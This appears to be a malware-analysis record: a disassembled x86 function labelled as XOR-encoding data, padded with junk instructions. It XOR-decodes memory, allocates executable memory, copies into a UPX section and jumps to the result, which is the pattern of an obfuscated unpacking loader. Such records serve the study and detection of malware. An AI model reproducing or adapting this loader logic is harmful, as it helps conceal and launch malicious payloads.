Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x5ac6b612
add ebx, esi
add ebx, ebx
popal
add esi, esi
add esi, 0x5fa4c9f
mov ecx, 0
mov edi, edx
sub ebx, 0x7f1eeda2
sub eax, 0x9f91987d
sub eax, ebx
mov esi, edi
or ebx, ebx
sub eax, ebx
mov edx, esi
mov ebx, 0x52d6f3f
not ebx
inc eax
inc ecx
mov eax, ebx
mov ebx, eax
cmp ecx, 0x100f329
jne 0xa789c4
add eax, 1
and eax, eax
sub eax, 0xff5fbe4e
dec esi
add ebx, ebx
not esi
mov ecx, 0xa78796
add edi, 0x281ed73c
sub ebx, 1
mov esi, 0xa7898a
inc edi
or edi, edi
sub edx, 0xc847fe0
mov eax, dword [ecx]
mov ebx, 0xcf69e8c9
add ebx, 0x4b7ea4e9
add edi, ebx
and eax, 0xff
sub edi, edx
not ebx
add edi, 1
xor dword [esi], eax
sub ebx, 0x3400751a
sub edi, ebx
add esi, 1
mov edi, ebx
not edi
inc ecx
and edi, edx
inc edx
mov edx, 0xab7bca2c
cmp esi, entry0
jl 0xa78a27
add edi, edx
not ebx
not ebx
sub edx, 0x6ade23ba
not edx
add edx, edx
inc edx
mov ecx, edi
mov ebx, 0xa7898e
add ecx, edi
sub esi, 0xd57e936c
mov ebx, dword [ebx]
add edi, 0x2b2a27ee
mov esi, 0x6599c313
mov ebx, dword [ebx]
dec edx
add edx, 1
sub edx, 0xf0cb34b7
sub esp, 4
mov dword [esp], ebx
add ecx, ecx
mov edx, edi
mov ebx, 0xa7898a
sub ecx, 0xb4b6f909
and edi, edx
and edx, edi
mov ebx, dword [ebx]
inc esi
sub edx, 0x8a5108d2
mov ebx, dword [ebx]
add edi, edx
mov edx, 0xb9d6f703
sub esp, 4
mov dword [esp], 0xa78992
or esi, edi
dec edx
add ecx, edi
call ebx
mov edx, 0xac13dc16
add esi, 0xd6c34b56
mov ebx, dword [esp]
add esp, 4
and edx, esi
add ecx, 0xc6524f61
push 0xa7899f
not ecx
add esi, edx
sub esp, 4
mov dword [esp], eax
not edi
mov esi, 0xaa718c8a
or ecx, esi
call ebx
sub esi, edi
sub ecx, esi
dec edx
push 0x40
mov edx, ecx
inc edx
push 0x3000
mov edx, ecx
sub edi, 0x26e02a17
push 0x200008d5
mov edi, 0x13bba2cf
add ecx, esi
push 0
add esi, 0x11c60a7a
add esi, esi
add ecx, 0x40e6cba2
call eax
and edx, ecx
not ecx
add eax, 0x2000085a
add esi, 0x8ad99aa1
dec edx
mov ebx, 0xfd6a84f4
add edi, edi
dec ecx
add esi, edi
mov dword [eax], ebx
and ecx, ecx
add edx, 0xca97dc1d
and esi, ecx
mov ebx, dword [eax]
inc edi
inc esi
mov edx, 0x57665fa0
cmp ebx, 0xfd6a84f4
je 0xa78b94
mov eax, 0
mov byte [eax], bl
add ecx, esi
dec esi
sub edi, edx
add edx, esi
sub esi, 1
and ebx, esi
not esi
mov edi, section.UPX1
mov ebx, esi
add esi, esi
add ebx, ebx
mov eax, 0xa78795
mov ebx, 0xd46adf2c
sub ebx, 0x4340d879
mov ecx, 0
add ebx, ebx
or esi, esi
mov esi, ebx
mov edx, 0xa78796
sub esi, 1
mov esi, 0x5516f4f2
lea edx, [ecx + edx]
add ebx, 0x2832f36b
mov esi, 0xc60959b4
mov edx, dword [edx]
mov ebx, esi
not esi
and edx, 0xff
and ebx, ebx
mov esi, 0xc67d5a56
or esi, esi
inc ecx
dec ebx
sub ebx, esi
cmp ecx, 0x1f4
jne 0xa78c0f
mov ecx, 0
sub esi, ebx
sub ebx, 1
mov esi, ebx
sub esi, 1
xor dword [edi], edx
sub esi, ebx
not ebx
sub ebx, esi
add edi, 2
mov esi, 0x2a82c41e
not esi
cmp edi, eax
jl 0xa78bcb
and esi, esi
sub ebx, 0xd8875068
mov esi, ebx
mov ebx, esi
dec ebx
mov edi, section.UPX1
dec ecx
sub edx, ecx
mov eax, section.UPX1
add ecx, 0x8ab06f4e
sub edx, 0xafa6aafc
mov esi, 0xa78795
or ecx, edx
sub ecx, edx
add edx, 0x155f4634
mov ebx, 0
sub edx, ecx
mov ecx, 0x31a979a3
mov bl, byte [eax]
sub edx, 1
sub edx, 1
mov byte [edi], bl
not ecx
not edx
add edi, 1
add edx, ecx
add edx, ecx
add eax, 2
mov ecx, 0x6bfe1dca
or edx, edx
mov ecx, 0x72186ffd
cmp eax, esi
jle 0xa78c7d
inc edx
and edx, ecx
or ebx, esi
or esi, esi
push 0x8dc6a0
or ebx, esi
dec esi
or esi, esi
ret